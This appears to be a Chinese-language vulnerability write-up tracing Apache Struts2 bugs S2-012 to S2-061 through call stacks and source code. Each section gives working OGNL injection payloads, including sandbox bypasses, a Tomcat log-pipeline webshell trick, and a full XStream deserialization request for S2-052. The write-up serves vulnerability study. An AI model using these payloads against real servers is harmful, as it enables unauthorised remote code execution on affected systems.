struts2漏洞12-61
S2-012
影响版本:Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-012
这与 S2-001 很相似,在设置了结果重定向,Struts2 使用 StrutsResultSupport 的子类 ServletRedirectResult 类处理 redirect 结果,会造成二次解析
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
漏洞分析

重定向会来到 org.apache.struts2.dispatcher.ServletRedirectResult#execute
父类的 execute 方法,里面调用了 conditionalParse 进而调用了 translateVariables
后续就和 S2-001 的步骤一样了,循环解析 ognl 表达式
translateVariables:198, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:129, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:73, TextParseUtil (com.opensymphony.xwork2.util)
conditionalParse:198, StrutsResultSupport (org.apache.struts2.dispatcher)
execute:185, StrutsResultSupport (org.apache.struts2.dispatcher)
execute:158, ServletRedirectResult (org.apache.struts2.dispatcher)
payload
%{#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec("calc")}
S2-013
影响版本:Struts 2.0.0 - Struts 2.3.14.1
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-013
与 S2-002 的 xss 很相似,不过当时忽略了,这其实是可以解析 ognl 执行命令的
<s:url id="url" action="HelloWorld" includeParams="all">
当配置 includeParams="all"
时,会接受所有的 get 和 post 参数,进行解析
漏洞分析
官方给出的 POC
HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
当然肯定也是可以实现命令执行的
fakeParam=%{#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec("calc")}
url 编码后
fakeParam=%25%7b%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%40java.lang.Runtime%40getRuntime().exec(%22calc%22)%7d
我们在 doStartTag 打断点,分析一下 ,前边调试基本与 S2-002 一致
在调用 doStartTag 的时候,处理 includeParam = all 时,调用到 ServletUrlRenderer#includeGetParameters
进而调用了 UrlHelper#parseQueryString
调用栈
parseQueryString:328, UrlHelper (org.apache.struts2.views.util)
parseQueryString:308, UrlHelper (org.apache.struts2.views.util)
includeGetParameters:265, ServletUrlRenderer (org.apache.struts2.components)
beforeRenderUrl:243, ServletUrlRenderer (org.apache.struts2.components)
start:144, URL (org.apache.struts2.components)
doStartTag:53, ComponentTagSupport (org.apache.struts2.views.jsp)
看到调用 translateAndDecode 跟进去就是在调用 translateVariable
后续同样,跟 S2-001 一样了
S2-014
影响版本: Struts 2.0.0 - Struts 2.3.14.1
参考链接: https://cwiki.apache.org/confluence/display/WW/S2-014
其实就是对 S2-013 的另一种 payload 攻击
因为在 translateVariable 的解析中,会解析 %
和 $
两种开头标识
这里官方也给出了对应的 payload
HelloWorld.action?aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}
url 编码后
HelloWorld.action?aaa=1%24%7b%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%40java.lang.Runtime%40getRuntime().exec(%22calc%22)%7d
S2-015
影响版本:Struts 2.0.0 - Struts 2.3.14.2
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-015
Struts 2 允许基于通配符定义动作映射,如下例所示:
<action name="*" class="example.ExampleSupport">
<result>/example/{1}.jsp</result>
</action>
当 Struts 2 找不到 action 时,就会去匹配通配符 *
并解析,用 {1}
当作 ognl 表达式来解析并获取值
POC
官方给出的 POC
${#foo='Menu',#foo}
url 编码后
%24%7b%23foo%3d%27Menu%27%2c%23foo%7d
可以看到的确解析了我们 ognl 表达式,去寻找 Menu.jsp 文件
漏洞分析
我们首先是在 StrutsPrepareAndExecuteFilter#doFilter
或者 FilterDispatcher#doFilter
这个方法 预处理请求
旧版本流程:
FilterDispatcher -> ActionProxy -> DefaultActionInvocation
新版本流程:
StrutsPrepareAndExecuteFilter -> ActionProxy -> DefaultActionInvocation
我们会来到 DefaultActionInvocation#executeResult 处理结果
接着在 StrutsResultSupport#execute 中调用 conditionalParse
后边结合 S2-012 的流程一致了,调用 TextParseUtil#translateVariables 解析 ognl 表达式
payload
%{#_memberAccess['allowStaticMethodAccess']=true,@java.lang.Runtime@getRuntime().exec('calc')}.action
url 编码后
%25%7b%23_memberAccess%5b%27allowStaticMethodAccess%27%5d%3dtrue%2c%40java.lang.Runtime%40getRuntime().exec(%27calc%27)%7d.action
注意这里使用
'
来进行包裹,使用“”
包裹,会被转义,从而无法执行
具体就是发生在 StrutsActionProxy 初始化的时候,封装 actionName 会对他进行实体编码
调用栈
escape:869, Entities (org.apache.commons.lang)
escapeHtml:505, StringEscapeUtils (org.apache.commons.lang)
escapeHtml:461, StringEscapeUtils (org.apache.commons.lang)
<init>:77, DefaultActionProxy (com.opensymphony.xwork2)
<init>:38, StrutsActionProxy (org.apache.struts2.impl)
createActionProxy:37, StrutsActionProxyFactory (org.apache.struts2.impl)
createActionProxy:58, DefaultActionProxyFactory (com.opensymphony.xwork2)
serviceAction:488, Dispatcher (org.apache.struts2.dispatcher)
doFilter:434, FilterDispatcher (org.apache.struts2.dispatcher)
Struts 2.3.14.2
在 Struts 2.3.14.2 中,官方将 SecurityMemberAccess 类中成员变量 allowStaticMethodAccess 添加了 final 修饰符,并且将其 set 方法进行了删除。
看到打之前的 payload 已经不能实现命令执行了
这里有两种绕过的方式
- 使用反射修改值
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}.action
url 编码
%24%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%40java.lang.Runtime%40getRuntime().exec(%27calc%27)%7d.action
- 使用非静态方法
由于双引号 会被 实体编码,我们只能使用单引号
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#pb=new java.lang.ProcessBuilder(new java.lang.String[]{'calc'}),#pb.start()}.action
url 编码后
%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23pb%3Dnew%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'calc'%7D)%2C%23pb.start()%7D.action
S2-016
影响版本:Struts 2.0.0 - Struts 2.3.15
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-016
在 struts2
中,DefaultActionMapper
类支持以 action:
、redirect:
、redirectAction:
作为导航或是重定向前缀,但是这些前缀后面同时可以跟 OGNL
表达式,由于 struts2
没有对这些前缀做过滤,导致利用 OGNL
表达式调用 java
静态方法执行任意系统命令。
和 S2-002 一致,都是利用 redirect 重定向时的 ognl 解析,但是入口不太相同
漏洞分析
我们先来看 DefaultActionMapper 这个类,他定义了一系列的前缀
在初始化时,会去作对应的处理,构造方法的逻辑
public DefaultActionMapper() {
this.prefixTrie = new PrefixTrie() {
{
// 1. 处理 method: 前缀
this.put("method:", new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
if (DefaultActionMapper.this.allowDynamicMethodCalls) {
mapping.setMethod(key.substring("method:".length()));
}
}
});
// 2. 处理 action: 前缀
this.put("action:", new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
String name = key.substring("action:".length());
if (DefaultActionMapper.this.allowDynamicMethodCalls) {
int bang = name.indexOf(33); // 33是'!'的ASCII码
if (bang != -1) {
mapping.setMethod(name.substring(bang + 1));
name = name.substring(0, bang);
}
}
mapping.setName(name);
}
});
// 3. 处理 redirect: 前缀
this.put("redirect:", new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
ServletRedirectResult redirect = new ServletRedirectResult();
DefaultActionMapper.this.container.inject(redirect);
redirect.setLocation(key.substring("redirect:".length()));
mapping.setResult(redirect);
}
});
// 4. 处理 redirectAction: 前缀
this.put("redirectAction:", new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
String location = key.substring("redirectAction:".length());
ServletRedirectResult redirect = new ServletRedirectResult();
DefaultActionMapper.this.container.inject(redirect);
String extension = DefaultActionMapper.this.getDefaultExtension();
if (extension != null && extension.length() > 0) {
location = location + "." + extension;
}
redirect.setLocation(location);
mapping.setResult(redirect);
}
});
}
};
}
把不同的前缀对应为了不同的 ParameterAction 并重写了 execute 方法,在重定向解析结果时,会造成二次解析
入口和 S2-015 一致,都是 StrutsPrepareAndExecuteFilter#doFilter
或者 FilterDispatcher#doFilter
这个方法 预处理请求 调用 DefaultActionMapper#handleSpecialParameters
时,根据前缀走到对应的 execute 方法
execute:217, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)
handleSpecialParameters:371, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)
getMapping:318, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)
doFilter:409, FilterDispatcher (org.apache.struts2.dispatcher)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
后续就和 S2-012 的调用流程一致了
调用栈
conditionalParse:197, StrutsResultSupport (org.apache.struts2.dispatcher)
execute:185, StrutsResultSupport (org.apache.struts2.dispatcher)
execute:158, ServletRedirectResult (org.apache.struts2.dispatcher)
serviceAction:496, Dispatcher (org.apache.struts2.dispatcher)
doFilter:434, FilterDispatcher (org.apache.struts2.dispatcher)
payload
index.action?redirect:%{#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}
url 编码
index.action?redirect%3a%25%7b%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%40java.lang.Runtime%40getRuntime().exec(%27calc%27)%7d
或者用前缀 redirectAction
S2-018
影响版本:Struts 2.0.0 - Struts 2.3.15.2
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-018
Struts 2 的动作映射机制支持特殊参数前缀“action:”,该前缀旨在帮助将导航信息附加到表单内的按钮上。
这个是在 S2-016 的延伸,用 action: 前缀去绕过一下安全限制
特性其实就是可以利用 action:test!execute
的形式,访问同一命名空间下的其他方法
S2-020/S2-021/S2-022
这其实就是一个漏洞的不同版本,也是利用参数 ParametersInterceptor 拦截器,去做一些事情,尽管他在前面爆出来的几次漏洞后,对正则表达式做了很多改进,我们可以利用它去修改一些值
影响版本:Struts 2.0.0 - Struts 2.3.16.3
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-022
在 2.3.16 版本的 ParametersInterceptor 中的正则表达式
public static final String ACCEPTED_PARAM_NAMES = "\\w+((\\.\\w+)|(\\[\\d+\\])|(\\(\\d+\\))|(\\['\\w+'\\])|(\\('\\w+'\\)))*";
去掉转移符号
\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['\w+'\])|(\('\w+'\)))*
也就是说,他可以匹配 aa.bb.cc.dd
这样的参数
我们可以使用这一特性修改一些 修改 context 及 root 中的一些值
class.classLoader.resources.dirContext.docBase=D:/data
看一下 2.3.16
和 2.3.16.1
excludeParams 的对比,看到加入了 ^class\..


我们利用上面的 payload 可以修改 classLoader 的属性,tomcat 的访问路径,当在获取 class 属性的时候,同时会得到他的 classLoader,我们修改它里面值,实现利用
当 ongl 去获取 把 class
解析为 ASTProperty 时,会去执行到 getTargetClass,当然会把 classLoader 一并获取到
因为类都是由 Tomcat 容器加载的,所以就获取到了 WebappClassLoader ,依次执行到后边的赋值语句,就可以把 tomcat 的基础访问路路径给改变掉
对应过去 class 的调用栈
getPropertyAccessor:2215, OgnlRuntime (ognl)
getProperty:2312, OgnlRuntime (ognl)
getValueBody:114, ASTProperty (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
setValueBody:222, ASTChain (ognl)
evaluateSetValueBody:220, SimpleNode (ognl)
setValue:301, SimpleNode (ognl)
setValue:737, Ognl (ognl)
setValue:234, OgnlUtil (com.opensymphony.xwork2.ognl)
trySetValue:183, OgnlValueStack (com.opensymphony.xwork2.ognl)
setValue:170, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameter:148, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameters:329, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:241, ParametersInterceptor (com.opensymphony.xwork2.interceptor)


然后我们就可以访问 D:/data
目录下的文件了

当然他的危害远不止于此,还是有师傅研究出了 RCE
class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
<%Runtime.getRuntime().exec("calc");%>
利用日志写了一个 webshell
在 2.3.16.1
的 excludeParams 加入了 ^class\..
这也很好绕过,大小写就可以
class['classLoader'].resources.dirContext.docBase=
top.class.classLoader.resources.dirContext.docBase=
Class.classLoader.resources.dirContext.docBase=
后续 S2-022 就是把注入点改到 cookie 中了
S2-032
影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-032
当启用动态方法调用时,有可能传递恶意表达式,该表达式可用于在服务器端执行任意代码。
这其实也是对 S2-016 的扩展,这次把重心放到了 method:
这个前缀,当开启了 Dynamic Method Invocation
可以实现 RCE
我们先来看 PrefixTrie 中 处理 method: 前缀的方法,看到一进来首先就是判断 allowDynamicMethodCalls 所以我们得开启这一特性
在委托 DefaultActionProxy
代理的时候,会用 StringEscapeUtils.escapeHtml4() 这个进行编码,其实我们之前在 S2-015 也有提到过这个实体编码特性,当时是 escapeHtml ,没有对 '
进行实体编码
< → <
> → >
& → &
" → "
' → '
同时在 DefaultActionInvocation#invokeAction 解析 method 的时候,会为它拼接上一个 ()
符号
在 struts-default.xml 中 可以看到 excludedClasses 和 excludedPackageNamePatterns 的规则
我们需要绕过,或者给他置空
allowStaticMethodAccess 反射赋值的方式被禁止了,因为在 2.3.20 版本以后,SecurityMemberAccess 引入了一个新的判断方法 isClassExcluded()

反射获得的 class 在这里就直接返回 true,被拦截了
我们可以使用 OgnlContext 里默认的 DefaultMemberAccess 来给他赋值
pyload
method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(#parameters.param[0]).toString¶m=calc
url 编码,不要把 & 和 = 进行编码
method%3A%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%40java.lang.Runtime%40getRuntime().exec(%23parameters.param%5B0%5D).toString¶m=calc
或者 使用 ProcessBuilder 这个非静态方法
method:#_memberAccess.excludedClasses=@java.util.Collections@EMPTY_SET,#_memberAccess.excludedPackageNamePatterns=@java.util.Collections@EMPTY_SET,new java.lang.ProcessBuilder(new java.lang.String[]{#parameters.cmd[0]}).start&cmd=calc
url 编码后
method%3A%23_memberAccess.excludedClasses%3D%40java.util.Collections%40EMPTY_SET%2C%23_memberAccess.excludedPackageNamePatterns%3D%40java.util.Collections%40EMPTY_SET%2Cnew%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%23parameters.cmd%5B0%5D%7D).start&cmd=calc
S2-033
影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-033
使用了 struts2-rest-plugin-2.3.24.1.jar 这个插件时,由于动态方法调用时对 methodName 没有进行处理,导致了漏洞。
跟 S2-032 很相似,这次使用的就是插件中的 RestActionMapper,在处理时没有过滤,导致了 RCE
使用 ! 作为前缀,调用其他方法(放入 ActionMapping)中
但是默认的后缀有所区别
pyload
!#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(#parameters.param[0]).toString.json?param=calc
S2-045
影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-045
Content-Type
的解析报错时,会把报错信息当表达式解析,造成了任意命令执行
在 StrutsPrepareFilter#doFilter 对请求进行预处理时,会对请求进行封装
最终调用的是 Dispatcher#wrapRequest 方法来进行 multipart/form-data 获取内容,并封装为 MultiPartRequestWrapper 他用的 contains 进行判断
在 getMultiPartRequest 方法中 创建了 MultiPartRequest 实例,默认就是 default.properties 配置中的 JakartaMultiPartRequest
获取到 mpr 后,进行MultiPartRequestWrapper的封装,执行 parse
对 errors
进行获取并添加到 errors集合中
parse
其实就是 JakartaMultiPartRequest#parse 这个方法,他会在 catch 块里对 异常进行捕获并保存
而在 buildErrorMessage 方法中执行了 LocalizedTextUtil.findText() 解析了 error
最终会调用到 TextParseUtil.translateVariables
调用栈
getDefaultMessage:677, LocalizedTextUtil (com.opensymphony.xwork2.util)
findText:544, LocalizedTextUtil (com.opensymphony.xwork2.util)
findText:372, LocalizedTextUtil (com.opensymphony.xwork2.util)
buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)
parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)
<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)
wrapRequest:838, Dispatcher (org.apache.struts2.dispatcher)
wrapRequest:137, PrepareOperations (org.apache.struts2.dispatcher.ng)
doFilter:91, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.ng.filter)
报错信息是如何可控的呢?
在 JakartaMultiPartRequest#processUpload 中 调用 parseRequest
FileUploadBase#parseRequest 有 %s 接收 e.getMessage()) e
payload
Content-Type: -multipart/form-data-%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}
S2-046
影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-046
S2-046和前面的S2-045 触发方式是一样的,但是入口不同
在 JakartaMultiPartRequest#processUpload 同样对文件名做了处理
会调用 getName() 方法
跟前调用 Streams#checkFileName 这个方法
可以发现满足有 fileName != null && fileName.indexOf(0) != -1
也就是满足有 \u0000
payload和 S2-045 是一样的,只是换到了 filename 这个变量上
\u0000%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}
S2-052
影响版本:Struts 2.1.6 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-052
REST 插件使用带有 XStream 实例的XStreamHandler
进行反序列化,且没有任何类型过滤,在反序列化 XML 有效负载时,这可能会导致远程代码执行。
我 REST 插件的配置文件中,注册了一个 org.apache.struts2.rest.ContentTypeInterceptor
,用来根据不同的contentType 来获取不同的 ContentTypeHandler
解析请求的处理
看一下这个getHandlerForRequest
public ContentTypeHandler getHandlerForRequest(HttpServletRequest request) {
ContentTypeHandler handler = null;
// 1. 首先尝试通过请求的Content-Type头获取处理器
String contentType = request.getContentType();
if (contentType != null) {
// 1.1 直接匹配完整的Content-Type
handler = (ContentTypeHandler)this.handlersByContentType.get(contentType);
if (handler == null) {
// 1.2 如果完整匹配失败,尝试去掉参数部分(如去掉charset=UTF-8等)
int index = contentType.indexOf(59); // 59是分号';'的ASCII码
if (index != -1) {
contentType = contentType.substring(0, index).trim();
}
// 1.3 再次尝试匹配简化后的Content-Type
handler = (ContentTypeHandler)this.handlersByContentType.get(contentType);
}
}
// 2. 如果通过Content-Type没有找到处理器,尝试通过扩展名获取
if (handler == null) {
String extension = this.findExtension(request.getRequestURI());
handler = (ContentTypeHandler)this.handlersByExtension.get(extension);
}
return handler;
}
可以发现会根据 Content-Type 或者 扩展名 来过去 ContentTypeHandler
发现有 6 个实现
我们主要来看 XStreamHandler 的处理,在 ContentTypeInterceptor 获取到 XStreamHandler 会去调用它的 toObject方法,对输入流进行处理
fromXml 对 xml的输入流进行反序列化
payload
POST /struts2_rest_showcase_war_exploded/orders.xhtml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 2359
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
S2-053
影响版本:Struts 2.0.0 - 2.3.33,Struts 2.5 - Struts 2.5.10.1
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-053
服务端将用户可控的参数放到了 Freemarker 的标签属性中,在结果解析时,导致RCE
在解析FreeMarker标签结果时,会调用 FreemarkerResult#doExecute 方法
Template#process 继续调用 freemarker.core.Environment#process
一路调用 Environment#visit => TemplateElement#accept
accept 有很多不同的实现
漏洞点就在freemarker.core.UnifiedCall#accept 这个方法 ,执行 visitAndTransform
afterBody() 会去调用 end 方法,这就跟 S2-001 一致了
payload
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
S2-059
影响版本:Struts 2.0.0 - Struts 2.5.20
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-059
这次漏洞是由于标签属性值进行二次表达式解析产生的,同样是在 doStartTag() 和 doEndTag() 解析时触发
官方给的例子
<s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>
如果攻击者能够修改请求中的skillName
属性,使得未经进一步验证的原始 OGNL 表达式被传递到skillName
属性,那么当请求导致标签被渲染时,skillName
属性中包含的 OGNL 表达式将被求值。
确实是执行了
org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag
执行 populateParams
会去调用父类的 populateParams
一直跟如会来到 OgnlTextParser#evaluate 获取到我们传入的表达式
第二次循环执行我们传入的ognl表达式
S2-061
影响版本:Struts 2.0.0 - Struts 2.5.25
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-061
是对 S2-59的绕过
payload
%{
(#im=#application["org.apache.tomcat.InstanceManager"]).
(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).
(#bm=#im.newInstance("org.apache.commons.collections.BeanMap")).
(#bm.setBean(#stack)).
(#context=#bm.get("context")).
(#bm.setBean(#context)).
(#ma=#bm.get("memberAccess")).
(#bm.setBean(#ma)).
(#emptyset=#im.newInstance("java.util.HashSet")).
(#bm.put("excludedClasses",#emptyset)).
(#bm.put("excludedPackageNames",#emptyset)).
(#arglist=#im.newInstance("java.util.ArrayList")).
(#arglist.add("open -a Calculator.app").
(#execute=#im.newInstance("freemarker.template.utility.Execute")).
(#execute.exec(#arglist))
}
参考文章
https://www.javasec.org/java-vuls/Struts/Struts2-2.html
https://blog.topsec.com.cn/struts2-s2-059-漏洞分析/
https://www.anquanke.com/post/id/225252